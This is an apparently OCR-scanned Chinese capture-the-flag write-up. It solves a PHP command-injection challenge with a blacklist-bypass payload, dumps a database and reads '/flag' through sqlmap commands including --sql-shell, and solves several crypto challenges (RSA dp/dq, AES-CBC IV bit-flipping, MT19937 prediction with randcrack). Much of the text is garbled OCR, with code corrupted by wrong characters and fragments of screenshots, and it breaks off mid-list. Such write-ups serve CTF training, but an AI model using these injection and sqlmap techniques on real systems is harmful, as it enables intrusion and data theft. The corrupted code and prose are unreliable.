{"cmd":"a=ca&&b=t&&Sash /[ e][*e][ e][ e][ e]txt"}EE XM payload & AT LU IH1F Elflag, [felFE
TBRT eZIMIFTEFR, FRURINRZZMNEEFNXGRBRFIAUREMREE T,

simple_php_revenge

1 <?php

2 error_reporting(0);

3

4 highlight_file(__FILE__);

5

6 function is_safe(Sinput) {

7 Sblacklist = [

8 "\.\.',

9 'flag',

10 "\

11 1

12 $pattern = '/' . dmplode('|', S$blacklist) . '/i';

13 return !preg_match($pattern, $input);

14 }

15

16 S$requestBody = file_get_contents('php://input');

17 $parsedJson = json_decode($requestBody, true);

18

19 if (is_safe($parseddson['cmd']) && -isset($parsedIson['cmd']) &&
strpos($requestBody, '\u') === false ) {

20 $cmd = $parsedIJson['cmd'];

21 if
(!preg_match('/ls|\ |dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|pi
ng|\*|sort|zip|mod|sl|find|sed|cp|mv]|ty|php|grep|fd|df|sudo|more|cc|tac]|less|he
ad|\.|{|}|tar|zip|gcc|uniqg|vi|vim|file|xxd|date|bash|env|\?
|lwget|\'|\"|whoami/i', $cmd)) {

22 system($cmd) ;

23 print_r("Ok,I seem to be safe!");

24 }

25 }

XA _E A GRREXS, —HFpayloadtr] LAFTHISK: -+
Payload: {"cmd":"a=ca&&b=t&&Sash /fla[f-h][+-0]txt"}



ey e

B ik W)

£ | Raw | 28 | % | Hex Raw | % | Hex | Render
GET /HTTPA 1 A
<Zph;
Host: localhost:1359 r eop o
error reporting(0):
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&64; rv:128.0) Gackof‘m 00101 FirefoxA28.0 —
Accept: texthtml licationfhtml+xml lication/fml;g=0.9 imag Ie] bp image/png,imag: ml** =08 highlight file( FILE };:
Accept-Language: zh-CN zh;q=0.8,zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=! El 3eng=0.2 — — —
Accept ?nccdlng gzip, deflate function is safe (finput) {
Connection: close - cklisE _ -
Cookie: Pycharm-9613d895=c5h5h56a-63h7-4035-0a3d-9e13444e34fa B :
Upgrade-Insecure-Requests: 1
§| Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate 1:
if Sec-Feteh-Ste: none Spattern = '/' . implode('|', Splacklis=t) . '/i';
Sec-Fetch-User: 1 e P 2 )
L X return !preg match($pattern, S$input):
Priority: u=0, i -
{ Content-Length: 43
IIIII N frequestBody = file get_contents('php://input');
Rt R L PR o fparsedJson = json_decode (frequestBody, true);

)i if (is_safe($parsedJson['cmd']) && isset(§parsedJson['cmd']) && strpos|
t|tail|mere| flag|sh|cut|awk]|st:
e|bash|env|\?

flag {pytHON_OR_pHP_1s_Ez} Ok.I seem to be safe!

MARNAR T, FBAMEMEEIE

AZ (89) BIERS by hacked_1
BEA—TERMALIFE, ®N/index# o] UIEEZEEEflagT

< c A F&e  47.121.24.182/index e 53 = 4 @

BWASEERS &g C10uds hacked by Mamba Man!

AT

SHEA

AG{U en

AA (489) BERS by hacked_2
127 flagfEtkiRe

X—EEEAsqlmapEB—THeI LT, BERAMEANTLTFKA-data’gmh, E2BEburpii—TBE-
rL Rl U THIE SR, F NS FLEusername

1 #B%payload
2



sglmap -r "1.txt"
sqlmap -r "1l.txt" -D staff
sglmap -r "1.txt" -D staff -T flag

available databases [4]:

[*] information_schema

[*] mysql

10 [*] performance_schema

11 [*] staffglmap -r "1l.txt" -D staff -T flag -C "flag"

© 0o N oo 0 b W

12

13 [7 tables]

14 +

15 | level |

16 | attendance |

17 | department |

18 | employee |

19 | flag |

20 | reward |

21 | salary |

22 +

23

24 [2 columns]

25 +

26 | Column | Type |
27 +

28 | flag | varchar(255) |
29 | Id | int(11) |
30 +

31

32 Table: flag

33 [1 entry]

34 +

35 | flag |
36 +

37 | flag{U_ere_Sql_M@ster} |

AA (#H89) BERS by hacked_3

emm, BTFIFREXIET, MURSEBEN BT, FIUREEREARES
AN EREFHEIEE Nt

FcFsqlmap getshell—F, ZAEB#HITin<select load_file ("/flag") BPE]

L4 sqlmap -r L.txt --sql-shell



RE: XEBLINE T PIEEAR LRI UAKRIREIERE, &8 LIAKgetshell

Crypto

certificate
BEXRNE
B ESLH T BXMFE A

| certificate.txt - iEZA& — O X
I{H(F) fRIE(E) H83U(0) EAE(V) #EhH)
|enc = 780875519640786043222139870296423371128068816622413663086494586998804915744576857130731981581868844920724001589°

HANREE TR, IR biAEL

AOIljSCEMYUbrKZ15EzLg4z8v0P4ZOXJEmmIHWdd03WIQAzLefOWLQKBgQDGp+1A
awcyYkgOLUUK/dR+RXRRp+L6+74X/pagws9u5N5cNtGxwZeU4+F/X/mN37dwxdWJh
ZBKLp5p78VgWyVvJJPOhEJAKFbiiLxWWo6dmEREkYxHorVv0yjSShk45yzNhYOXh
crpNZuADOQiIDpa7TG0OXm6Koagl/QT45014c2kwKBgQClvcCDkbaHJai3hvpOY4ol
YyS13YBtWXC7PoGed6r2PrtbljeiK+Khgl/UBtMKLbBe2MPkYn0COuX2+HOOEC8B
sR3WKKTYadW2TF8CDOoTniC14MCWkZJOhkL2GxJumvwN1zuHvhE4y85b1p1TY600
YvWWTD8QugRi7tdf4ANU2eQKBgQCIFJSjHbv)3vXug7AVmCeq0By4091NGIOCrxk5
WteldR1rM/GKwdF9ehpvkXfHbKSKhrnPDNsCBdLgaXp4pcsxFnS1Nvia//mulLYt
nTL12QTB53HiTy8ZPWTwmdjW3WvAleRrwzFD/sj1myKH +yj9UhYkhAtOEi3QDf+3
HaHS9QKBgQCAZG2XFcLvW+Qh5n310RWiKOacatMOBW2pw2j61a8DBRGX3m4wru9
6n4ZIGZFPwbOko +IDW7ZUT +L8xljndqD4yhTYSfoZlm/tjtB/HgQN3d+75jXChb)
kn40xWnKP8ru0+QkGonNC5TOEwe3VY1zSu15T8d +FtCv5Wuj+apsxw==

HFAFAH Tbase64fiRtS, AT, WITF

from base64 import b64decode
import binascii

s = ''"TAO1jSCEMYUbrKZ15EzLq4z8v0OP4ZOXJEmmIHWAdO3WLQAZzLefOWLjQKBgQDGp+1A
awcyYkgOLUUK/dR+RXRRp+L6+74X/pqwsOu5N5cNtGxwZeU4+F /X/mN37dwxdWJh
ZBKLp5p78VgWyVvIIPOhEJIAKFb i LxWWo6dmEREKY xHorVveyjSShk45yzNhYOXh
crpNZuADOO1Dpa7TGOXm6KoagI /QT4S0I4c2kwKBgQCIvcCDkbaHJai3hvpOY4o0I
YyS13YBtWXC7PoGed6r2PrtbJjeiK+KhqlL/UBtMKLbBe2MPkYnNOCOUX2+HOOEC8B
SR3WKKTYadW2TF8CDOoTNiC14MCWkZIOhKL2GxJumvwN1zuHvhE4y85b1pl1TY600
10 YvVWTD8QugRi7tdf4NU2eQKBgQCOFJISjHbvI3vXug7AVmCeqOBy4091NGLOCrxk5
11 Wtel4R1rM/GKwdF9ehpvkXfHbKSKhrnPDNsCBdLgaXp4pcsxFnS1Nvia//mulLYt
12 nTL12QTB53HiTy8ZPWTwmdjWOWvAIeRrwzFD/sjlmyKH+yj9UhYkhAtOEi3QDf+3
13 HaHS9QKBgQCjAZG2XFcLvW+Qh5n310RWiKOacatMOBW2pw2j61a8DBRGX3m4wru9
14 6n4ZIGZFPwbOko+1DW7ZUT+LI8xIjndqD4yhTYSfoZIm/tjtB/HgQN3d+75jXCb3J
15 kn40xWnKP8rU0+QkGonNC5TOEwe3VY1zSul5T8d+FtCv5Wuj+apsxw=="""

16

17 s = b64decode(s)

18

19 print(binascii.hexlify(s))

O© 0o N o b W N R


https://www.cnblogs.com/mumuhhh/p/18017949

20

REREIARIGASN. I NAS, BRI

HiE KE 2R aX

30 1 PRCHET HKFEASNAEIRTTE

82 1 KEXRAY REFeERE—TNFHKE
025b 2 KE HEEENEREKEN603FT
02 1 == ; “

01 1 KE KEFH

00 1 =] RFEZEE0

02 1 A (Eeris

81 1 KEXY (RFXoERETEFHKE
80 1 KE REHIEE 1287

128 (& FEE"

HEILL P XY RO E 2 BV SR E T 0 R

)1 - iEEA -0
MAHF) HRE(E) 1ETN(0) EE(V) EEN(H)

b349634821 0c6146eb299d791332eae33f2fd0fe193972449a694759d774dd69500332de7fd58b8d

028181
00c6a7ed406b07326248342d450afdd47e457451a7e2fafbbe17fe9ab0b3dbb937970db46c7065e538f85fd7fe6377eddc3175626164128ba79a7hbf1
028181
0088bdc08391b68725a8b786fa4e638a086324b5dd806d5970bb3e819e77aaf63ebb5b2637a22be2a1a8bfd406d30a2db05ed8c3e4627d02d2e5f€E
028181
00bd1494a31dbbc9def5ee83b0159827aad01cbh8a3dd4d1a5382af19395ad7a5e11d6b33f18ac1d17d7a1a6f9177c76ca48a86b9cf0cdb0205d2eab!
028181
00a30191b65c570bbd6f908799f7d7445688a39a71ab4cd015bba70da3eb56bc0c14465f79b8c2bbbdea7e192066453f06ce928fa50dbed9513f8b2

FIATEERIAR WO
1 hRZS
2 ¥ - n

3 INEEE - e



4 fREISE - d

5 RAFL - p

6 EEATF2 - ¢

7 ¥ - dp

8 182 - dq

9 &# - dinvert(q, p)

10 HthEIMER

AL AT IS A F R LY Ek IR 252, dp, dq, inve BT

edq

¢t = m® = m,(mod q)

FfrLAexp:

from Crypto.Util.number +dimport *
enc =
7808755196407860432221398702964233711280688166224136630864945869988049157445768
5713073198158186884492072400158918920070799829055823686447402190302077064119516
8480825811752717322053198961428074416312397848070936156469313666539816152791645
6885444023918132076105842418005266193546226621346698981764099926276601586754614
8634336316722108593197298262416196914642453728487072628230204174714691284199996
1157892019331549549643800730458658367825455785333869892851072674332907600930980
9342588187570863371063478322989396389100223185767953244319043627377712680120929
323717782835320879635422142064797173430253957109819171346572741

3 q=0x00c6a7ed406b07326248342d450afdd47e457451a7e2fatbbel7fe9abOb3dbb937970db46c7
065e538f85fd7fe6377eddc3175626164128ba79a7bf15816c95bc92413a110902415b8a2211596
a3a7661111246311e8ad5bf4ca3492864e39¢ch336160e5e172bad4d66e003d34883a5aed31b45e6e
82a1a808fd041f84b423873693

4 dp=0x0088bdc08391b68725a8b786fa4e638a086324b5dd806d5970bb3e819e77aaf63ebb5b2637
a22be2ala8bfd406d30a2db05ed8c3e4627d02d2e5f6f87d34102f01b11dd628a4d869d5b64c5f0
20f42139e20b5e0c0969192748642f61b126e9afcO0dd73b87bel138cbce5bd69d5363aa34621556
4c3f10ba0462eed75fe0d53679

5 dg=0x00bd1494a31dbbc9def5ee83b0159827aad01lch8a3dd4dla5382af19395ad7a5e11d6b33f1
8acld1l7d7ala6f9177c76ca48a86b9cfOcdb0205d2eab97a78a5chb311674b536189afff9ae94b62
d9d32f5d904cle771e24f21193d64f099d8d6f56bc021e46bc33143fec8f59b22871fh28fd521624
840b74122ddeedffb71dald2f5

6 inv=0x00a30191b65c570bbd61908799f7d7445688a39a71ab4cd015b6a70dal3eb56bc0cl14465f7
9b8c2bbbdea7e192066453f06ce928fa50d6ed9513f8b27cc488e776a0f8caldd849fal9226fed8
ed07f1le040ddddfbbe635c26c9927e34c569ca3fcad4d3e4241a89cd0b94cel307b7558d734aed7
94fcT77eled@afe56ba3f9aabee?
m = pow(enc, dq, Q)

print(long_to_bytes(m))

b'flag{U r se goed a7 RSA certlfic4t3!}’



latticel
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20

21

22

23

from Crypto.Util.number import *

flag = b'flag{xx*x*x*x}'

m = bytes_to_long(flag)
getPrime(512)

[getPrime(32) for _
[getPrime(512) for _ 1in range(3)]

©
1

in range(3)]

wn
1}

Q
1

(a[0]*s[0]**2*s[1]**2 + a[l]*s[O]xs[2]**2 + a[2]*s[1]*s[2]) % p

(@}
1

flag = mxs[0]xs[1]xs[2]
print(f'c = {c}")
print(f'flag = {flag}"')
print(f'a = {a}')
print(f'p = {p}')

4802812083617593979333460434278134819446897176928520891890658648242269497677039
838467384331382856004340375884877949839470896037182405886714477529960307061
flag =
1044971430912466360785517574452359259083017357032757773473594631752225705068489
26608284302256914139

a =
[823255909190249934087045687733000794541645973028258212207561745570837082858132
6180195905086133392160521682118107410146295320067326293542506161489533045773,
1170311133664859173671653290894873241538532453242716191124655207027354195776330
1687485105680263181921550521303969870327307507318790636674413924021749044083,
1060098207274478006002273229067935996879898933139542030304296820872984347835499
2676729485758657777028055816764389354935237148509973838056089393747829874017]]

B =
1199394611422958755723893777260387342430605520379970558338297155032744734132761
5501219263963436074806869951170981124093404887450607164894500260667967961891

BiflaghviFma), BAREEMMEDRTY, ERERNT



Search

status
(2)

FF

digits

99
(show)

Sequences Report results Factor tables Status Downloads

104497143091246636078551757445235925908301735703275777347359463175222570506848926608284302256914139 ‘ | Factorize!

Result:
number

1044971430..39 9> = 2683715603 10> - 3715526747 <105 - 3795154679 10> - 1354434605161065684917 <225 -
2038731398918507819428192253541920534775069098153 < 49>

More information

ECM

factordb.com - 32 queries to generate this page (0.01 seconds) (limits) (Privacy Policy / Imprint)

REAR, =MIEH—1FRIEHLZs[0], s[1], s[2]
ETIREREClREARlong_to_bytesElHl

Exp

from Crypto.Util.number -import long_to_bytes
flag =
1044971430912466360785517574452359259083017357032757773473594631752225705068489
26608284302256914139
flag=flag//2683715603//3715526747//3795154679
print(long_to_bytes(flag))

RSAES

b'flag{L@ttice_1s_net_5o_haRd.}"

SEXRNE

A (FAFETITE)

O© 00 N O U1 A W N P

e S
A W N R O

import socketserver

import gmpy2

from Crypto.Cipher import AES
from Crypto.Util.number import *
import os

from secret import flag

import codecs

class Task(socketserver.BaseRequestHandler):

def _recvall(self):
data = b'"'
while True:
part = self.request.recv(2048)
data += part

Login


https://blog.csdn.net/xiongsiqi_blog/article/details/131925246
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17
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20
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23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

51
52

53
54
55
56
57
58
59

if len(part) < 2048:
break
return data.strip()

def send(self, msg):
try:
self.request.sendall(msg)
except:

pass

def handle(self):
while True:
a = os.urandom(16)
acc= b'I_am_the_adminer'
os.urandom(16)
ivO b'AES_is_so_Easy?!'
aes® = AES.new(key, AES.MODE_CBC, 1iv0)

key

m = bytes_to_long(flag)

e = aesO.encrypt(acc)

e = bytes_to_long(e)

p = getPrime(512)

g = getPrime(512)

n=p=*q

phi=(p-1)*(q-1)

try:
d=gmpy2.invert(e,phi)
break

except:
continue

self.send(b"Welcome to AES CBC World\n")

self.send(f"The account 1is {a}\n'".encode())

self.send(f"The iv0 is {ivO}\n".encode())

self.send("If you want to obtain RSA's public key e, ".encode())

self.send("your account must be b'I_am_the_adminer' when using the
ivO. ".encode())

self.send("However,the account is fixed.\n".encode())

self.send("Now give me your iv(For example, input I_am_the_adminer
) :\n".encode())

iv = self._recvall()

try:
iv = codecs.escape_decode(iv, "hex-escape")[0]
AES.new(key,AES.MODE_CBC,1ivV)

except:
self.send("unreasonable!!!\n".encode())



60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

return

aes1=AES.new(key,AES.MODE_CBC,1iv)

if(long_to_bytes(e)==aesl.encrypt(a)):

self.send(f"The RSA's public key e is {e}\n".encode())
else:

self.send("You are wrong\n'".encode())

return

self.send(f"p+g={p+g}t\n".encode())
self.send(f"n={n}\n".encode())
c=pow(m,e,n)
self.send(f"c={c}\n".encode())

class ThreadedServer (socketserver.ThreadingMixIn, socketserver.TCPServer):

if

pass

__name__ =="_main__":

HOST, PORT = '0.0.0.0', 10009

server = ThreadedServer ((HOST, PORT), Task)
server.allow_reuse_address = True

print (HOST, PORT)

server.serve_forever ()

MACBCFLEMEHRE, ARRENENARFXKEMHFEEIET



Flipped ciphertext bits

Initialization Vector (IV) Ciphertext » Ciphertext Ciphertext
' I [

v A L A

Block Cipher Block Cipher Block Cipher

Key *  Decryption Key - Decryéntion Key *  Decryption
f t < i
TTTT] {
Plaintext Plaintext ™ Plaintext
Garbled decryption Flipped plaintext bits

Modification attack on CBC

A%l A@eB=C

;u\gaﬂ EH'J L1 EI‘JEHYC, ﬁB/A\ R%E&Q@
B/Z_\gﬁﬂﬂﬂﬁl AUE

\

, RIKBZERINCAHC,

C'=CaoCaqC
—A®eBpCaC
—BoApCoC
SA=AeCoaC’
— A' @ B = C'(BRE&RLIN)
(X2 : BAEERAFEHEAZHN)

SN KLBRER—TEEHERRB B &

C:\Users\jyzho\nc>nc 127.0.0.1 57785
Welcome to AES CBC World

The account is b'\x92\x%er|\xe8Y\x8a\xd7\xfe$\xfd8z\x8e,\x15'
The iv@ is b'AES_is_so_Easy?!’

If you want to obtain RSA's public key e, your account must be b'I_am_the_adminer' when using the iv0@. However, the accou
nt is fixed.

Now give me your iv(For example, input I_am_the_adminer ):




HEHTHEGEIV, exp:

import gmpy2
from Crypto.Util.number -import =*
def strxor(al, a2):

return ([bl A b2 for bl,b2 1in (al,a2)])
A=b'AES_is_so_Easy?!'
C=b'\x92\x9er | \xe8Y\x8a\xd7\xfe$\xfd8z\x8e,\x15'
CC=b'I_am_the_adminer'
AA=strxor (A,C)
AA=strxor (AA,CC)

(AA)

O 0o N O U1 A W N P

=
(O]

b'\x9a\x84@N\xde”\xbd\xcl\xce\xla\xdc4 \x99vF"

T EURREI T —FRSAFEERE

C:\Users\jyzho\nc>nc 127.0.0.1 57785

Welcome to AES CBC World

The account is b'\x92\x9er|\xe8Y\x8a\xd7\xfe$\xfd8z\x8e, \x15"

The iv@ is b'AES_is_so_Easy?!"'

If you want to obtain RSA's public key e, your account must be b'I_am_the_adminer' when using the iv@. However,the accou
nt is fixed.

Now give me your iv(For example, input I_am_the_adminer ):

\x9a\x8u@N\xde"\xbd\xcl\xce\xla\xdcl*\x99vF

The RSA's public key e is 76905211673506447040369130470608941989
p+q=19494196802650319372902855070396300865491675039679011626999U497839677151978499890650955261442507567992439494201763503
4096055117854568154906443627739898169918
n=86102590014800869660496091956991418546559366268980488418878417301277520969907606232365521489678792875274789917604815243
433814174842564190753716696482694923389076384082829081559429947765372550649613575729565029775052443924222284927041777505
6U430217460633442178520730250742155684867914231029U43U808153167756325U577
c=7782581674604982930091842803772U432396136369200383821866605514993813666021330716062063353670U417326095132233760912408541
0034662640174109309580883702348122976U313196385017493619321558417551052958875463U46888986598U9628708295824508801577140016
77981U40193138994862329189611666694184U42759788155195281861812969648623

XENRSAME— M FHS, LREE,
EXp+q, n=p*q, EXEpMqEAENE
(P+q)? =p"+2pg+¢ =p" —2pg+ ¢ +4pg = (p— q)° + 4pg
HLt T A B p-givE, 25
p=[p+q +(p—4q)]/2
g=n/p
BT fRER

exp:

1 e=76905211673506447040369130470608941989

2 p_qg=194941968026503193729028550703963008654916750396790116269994978396771519784
9989065095526144250756799243949420176350340905511785456815490644362773989816991
8
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N=86102590014800869660496091956994185465593662689804884188784173012775209699076
0623236552148967879287527478991760484524343381417484256419075371669648269492338
9076384082829081559429947765372550649613575729565029775052443924222284927041777
5056430217460633442178520730250742155684867942310294348081531677563254577
Cc=77825816746049829300918428037724323961363692003838218666055149938136660213307
1606206335367041732609513223376091240854100346626401741093095808837023481229704
3131963850174936193215584175510529588754634688898659849628708295824508801577140
016779814019313899486232918961166669418442759788155195281861812969648623
p__g=gmpy2.iroot(p_q*x*2-4xn,2)[0]

p=(p_q+p__q)//2

q=n//p

phi=(p-1)*(q-1)

d=gmpy2.invert(e,phi)

m=pow(c,d,n)

print(long_to_bytes(m))

b'flag{Cbc_Revers3 1s 3asy!}’

MTP&19937
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import random
from secret import flag
from Crypto.Util.number -dimport *
key=getPrime(140)
Rand=[]
for i 1in range(312):

Rand.append (random. getrandbits (64))
c=random.getrandbits(140)
flag=bytes_to_long(flag)
ml=flag’key
m2=c’key
print('Rand=",Rand)
print('ml="',ml)
print('m2="',m2)
K
Rand= [5182288926870815572, 11122384652630280904, 8095869978289858176,
11231548515276190058, 10142411471656325571, 14131362237749052800,
8873767822895308856, 4330928443036895762, 5232788388326147732,
11843622848950020244, 14546061291638766026, 16914507475785350672,
1391933973316655058, 5947393996670798335, 18098131520538968373,
127874498344797952, 12711808172673882070, 6965454771562574075,
8668066034060779473, 22232401182928395, 610072805488719475,
1809250999024327142, 4264078429381461143, 5192123032719201448,



2052523228646135170, 11007284249187332502, 1380035129500151354,
2520313652412588975, 12359276915777684469, 10721430671311648953,
6003249440595818591, 6546936368888268389, 14431563671072300550,
16244567827474298238, 7833810026468573517, 2510682095669902727,
18443639859657429784, 12537866502686800007, 14559154793584936643,
4627184390543027107, 2254740081106767295, 11240213991756639668,
17156035495988107653, 6472669565752887420, 14576603452001908630,
15256913346396553902, 6573354855539737495, 8143684202080620532,
12441576445676618212, 2799908048684478078, 5076502144872608633,
1383888152783411107, 3138565798945949877, 16822599915345849045,
6322716069431271953, 13623714089750966719, 6495505577669806599,
9514056283950475198, 13705281594286141760, 4873802024470589494,
699085734552992136, 1625355678221328867, 13972092000405861710,
14319241179484866344, 4943966915760311683, 11212938865589743453,
73284941705052824, 14544312978337045171, 13641613875007340152,
17911754941150341726, 8589392541587189847, 3712706920418883793,
14672034870846715876, 1556051639531958213, 8044115350400313967,
15041141128229649050, 3665981975413238605, 4763620639823879617,
6179310001199915651, 5077020185104266111, 6477729821284161473,
3322349646157049275, 17125951965638226884, 15986317055837626644,
218164975279064201, 12993077245897514206, 471549842556100641,
5272639635308802832, 16189107107132777292, 18306860893521019608,
2508658080621055499, 9309854055872225527, 18435734714641315072,
9241089360301938326, 16732211959463579992, 16575243686953797755,
15475893239013831877, 10028080987613008898, 8273357762842801613,
17909171172653490159, 12495968885237640591, 50592918749119963,
17499441882078927553, 8557830387586577864, 12863361936836326788,
9520466514382374540, 5459164119043450286, 15504560696479613838,
4241347934921167801, 14808339320675674576, 3808822213958511874,
4020534550789113645, 4008428815460788045, 13753114719026175183,
6571757246880386529, 16884449649590292187, 9634835646109018210,
13329153011793051900, 6940202805310891897, 18302271378983730441,
1700070441311809152, 13151660717832426308, 13741947649347774241,
17875909093835444741, 9727203379718526029, 2448515013666726563,
10176852381104102847, 2071314737927784347, 12358790761510080587,
2353169692582415929, 2396034241900172502, 7228808169583750615,
6691284615565392611, 15318169849899520598, 5566562208280440814,
11263724334617449302, 2145941689390096328, 17425094502364718327,
3804427251824986790, 9830917439475253220, 10734665208627024642,
16602165871459711100, 7891439408948823164, 16989093749215705421,
16938709108514730938, 10435718587504465407, 11765807537795652678,
10333661651174475603, 13354466916604506333, 17067975134969708050,
16182959364323485106, 3974564657028063602, 17907348635202318460,
4606418220410263134, 15170266200113877966, 4449723717626766185,
7169973915387466487, 17532711802278975830, 8779377438142501090,
16874062706464560223, 5039836370093205459, 1222709846017009403,
9398332678115016678, 2999572343501376799, 15066273030401257985,



10185406229889212139, 6369401576853336726, 5907614445645098711,
8178804088004518326, 5772883678088090477, 13498975913135714012,
17056770984236507167, 4983965027402575528, 3753712529803855875,
12209120760265986933, 7591220134074376531, 2863675220226103963,
2075064163526060130, 12543776407135345079, 15944956376738686323,
3808365833865241725, 713648807961362836, 15720396753483192809,
16192048613114563062, 2889050928669396800, 10121955289575898526,
14709675731589321503, 16467734379066999646, 1889720852829452019,
8365542821878784495, 2000962233538813688, 14092898622818346375,
13544056531175744264, 3209678293380586304, 17692027821714242366,
14988099087809482748, 15680503919529230915, 8505083530359974142,
15059825504020364379, 9568882397218609035, 18414597454020050890),
11827560831429401300, 3234807200534430874, 13858356040465693486,
2920813738543585608, 17708645796927608717, 15317058748617253420,
15360457214901816913, 196030992462587133, 697433292309396069,
16212893217724122142, 747139208597570406, 17130074000271325166,
16428534898669702519, 3409085490018331217, 16140438895475302039,
10795352279021906373, 16144070923730173429, 3462517833465763749,
5622281807999485505, 14569192468876186982, 14630069658850847011,
16773258690585461421, 18389597806847801029, 10472996005701793667,
3759674700924135853, 10262091729621178420, 16701805780995667624,
610774748941422543, 15196883788956447444, 9460518660735169734,
9762483640763468979, 1884261199128482660, 720677993385675647,
15665990291223736815, 12271993145281114551, 16640017606517311626,
15049882906721819276, 8999967670535018026, 4913139644876434221,
14335983073865867552, 9433872909584754661, 17656525750264252860),
3697095582005305824, 14640597640048004591, 9694921152492556946,
17447421821888281888, 5717761111414609026, 4490932245077486589,
941129245899569829, 18089529070417854965, 6516248180262275397,
7668496403185515383, 2106711689795921648, 10155569900331134111,
2472433487996321130, 12738894825834621835, 14625666253392095479,
17778262995017917344, 1182397681143118684, 2594873081371686955,
17606524721308969517, 12064336749522325276, 11367766642683263680,
1639881877609414890, 11238963802794555387, 2447308819052986851,
2335812252167645833, 75782517775706282, 2101470839715599003,
2775281708986492027, 13080708179246948175, 2731877131387183097,
12607455274160526607, 5197795264378788983, 9779731893128471670,
1173696543027461667, 16583652859652351123, 349992880391270706,
3887482898371301185, 1145194513039879394, 8907314862230843249,
13644858661535240248, 8283510346666450443, 9218685941652261582,
4245625908727354276, 14417747465308873693, 13960834777584840901,
2586123855977897471, 6704209230906477418, 2939108022904475784,
10497397449843678887, 17718494158421746191, 13610358174371848643,
1768604711637807139, 10884987608467441238, 7019982499860200077,
6164690718554535160, 4508325020967445120, 8697643065563095440,
15708304160471378750, 3520469921200303916, 7588138342064372470,
11295583438855542184, 14798104074893414208, 5340320101414691387,



15600550007093777554, 5639221868116936624, 9878993943694482608,
2491802576572876408, 3956643584999133306, 15800992510398727855]
17 ml= 700859526872118523382399823582184143046738
18 m2= 1252904421388813320279041220072950509956587
19 '

XEBZE 7 X pythonBrandomiERP A B AREAEREOFIN, XTItbE —NMEIFHERIESR, Mg
randcrack. iRiErandomiEiRb 4 pEREN LR FENIEREEMNEIRE, Mrandcrack®{EN62441N3210 —if
&R, BIRISSAERAIT— “REMEC #H1TF,

FATIX N B REMRIR312164{I%. randomiBIRIELERMGAHU — ] “FEHEC B, SSPR tb2EM
32U H B NBEN PR, FIEXEREFFF, LR EHRE6241 32U —#FIER, U T—
NERKEY “BENER” #HITIW.

exp:

import random

from randcrack import RandCrack

from Crypto.Util.number +dimport *

rc = RandCrack()

Rand= [5182288926870815572, 11122384652630280904, 8095869978289858176,
11231548515276190058, 10142411471656325571, 14131362237749052800,
8873767822895308856, 4330928443036895762, 5232788388326147732,
11843622848950020244, 14546061291638766026, 16914507475785350672,
1391933973316655058, 5947393996670798335, 18098131520538968373,
127874498344797952, 12711808172673882070, 6965454771562574075,
8668066034060779473, 22232401182928395, 610072805488719475,
1809250999024327142, 4264078429381461143, 5192123032719201448,
2052523228646135170, 11007284249187332502, 1380035129500151354,
2520313652412588975, 12359276915777684469, 10721430671311648953,
6003249440595818591, 6546936368888268389, 14431563671072300550,
16244567827474298238, 7833810026468573517, 2510682095669902727,
18443639859657429784, 12537866502686800007, 14559154793584936643,
4627184390543027107, 2254740081106767295, 11240213991756639668,
17156035495988107653, 6472669565752887420, 14576603452001908630),
15256913346396553902, 6573354855539737495, 8143684202080620532,
12441576445676618212, 2799908048684478078, 5076502144872608633,
1383888152783411107, 3138565798945949877, 16822599915345849045,
6322716069431271953, 13623714089750966719, 6495505577669806599,
9514056283950475198, 13705281594286141760, 4873802024470589494,
699085734552992136, 1625355678221328867, 13972092000405861710,
14319241179484866344, 4943966915760311683, 11212938865589743453,
73284941705052824, 14544312978337045171, 13641613875007340152,
17911754941150341726, 8589392541587189847, 3712706920418883793,
14672034870846715876, 1556051639531958213, 8044115350400313967,
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15041141128229649050, 3665981975413238605, 4763620639823879617,
6179310001199915651, 5077020185104266111, 6477729821284161473,
3322349646157049275, 17125951965638226884, 15986317055837626644,
218164975279064201, 12993077245897514206, 471549842556100641,
5272639635308802832, 16189107107132777292, 18306860893521019608,
2508658080621055499, 9309854055872225527, 18435734714641315072,
9241089360301938326, 16732211959463579992, 16575243686953797755,
15475893239013831877, 10028080987613008898, 8273357762842801613,
17909171172653490159, 12495968885237640591, 50592918749119963,
17499441882078927553, 8557830387586577864, 12863361936836326788,
9520466514382374540, 5459164119043450286, 15504560696479613838,
4241347934921167801, 14808339320675674576, 3808822213958511874,
4020534550789113645, 4008428815460788045, 13753114719026175183,
6571757246880386529, 16884449649590292187, 9634835646109018210,
13329153011793051900, 6940202805310891897, 18302271378983730441,
1700070441311809152, 13151660717832426308, 13741947649347774241,
17875909093835444741, 9727203379718526029, 2448515013666726563,
10176852381104102847, 2071314737927784347, 12358790761510080587,
2353169692582415929, 2396034241900172502, 7228808169583750615,
6691284615565392611, 15318169849899520598, 5566562208280440814,
11263724334617449302, 2145941689390096328, 17425094502364718327,
3804427251824986790, 9830917439475253220, 10734665208627024642,
16602165871459711100, 7891439408948823164, 16989093749215705421,
16938709108514730938, 10435718587504465407, 11765807537795652678,
10333661651174475603, 13354466916604506333, 17067975134969708050,
16182959364323485106, 3974564657028063602, 17907348635202318460,
4606418220410263134, 15170266200113877966, 4449723717626766185,
7169973915387466487, 17532711802278975830, 8779377438142501090,
16874062706464560223, 5039836370093205459, 1222709846017009403,
9398332678115016678, 2999572343501376799, 15066273030401257985,
10185406229889212139, 6369401576853336726, 5907614445645098711,
8178804088004518326, 5772883678088090477, 13498975913135714012,
17056770984236507167, 4983965027402575528, 3753712529803855875,
12209120760265986933, 7591220134074376531, 2863675220226103963,
2075064163526060130, 12543776407135345079, 15944956376738686323,
3808365833865241725, 713648807961362836, 15720396753483192809,
16192048613114563062, 2889050928669396800, 10121955289575898526,
14709675731589321503, 16467734379066999646, 1889720852829452019,
8365542821878784495, 2000962233538813688, 14092898622818346375,
13544056531175744264, 3209678293380586304, 17692027821714242366,
14988099087809482748, 15680503919529230915, 8505083530359974142,
15059825504020364379, 9568882397218609035, 18414597454020050890,
11827560831429401300, 3234807200534430874, 13858356040465693486,
2920813738543585608, 17708645796927608717, 15317058748617253420,
15360457214901816913, 196030992462587133, 697433292309396069,
16212893217724122142, 747139208597570406, 17130074000271325166,
16428534898669702519, 3409085490018331217, 16140438895475302039,
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10795352279021906373, 16144070923730173429, 3462517833465763749,
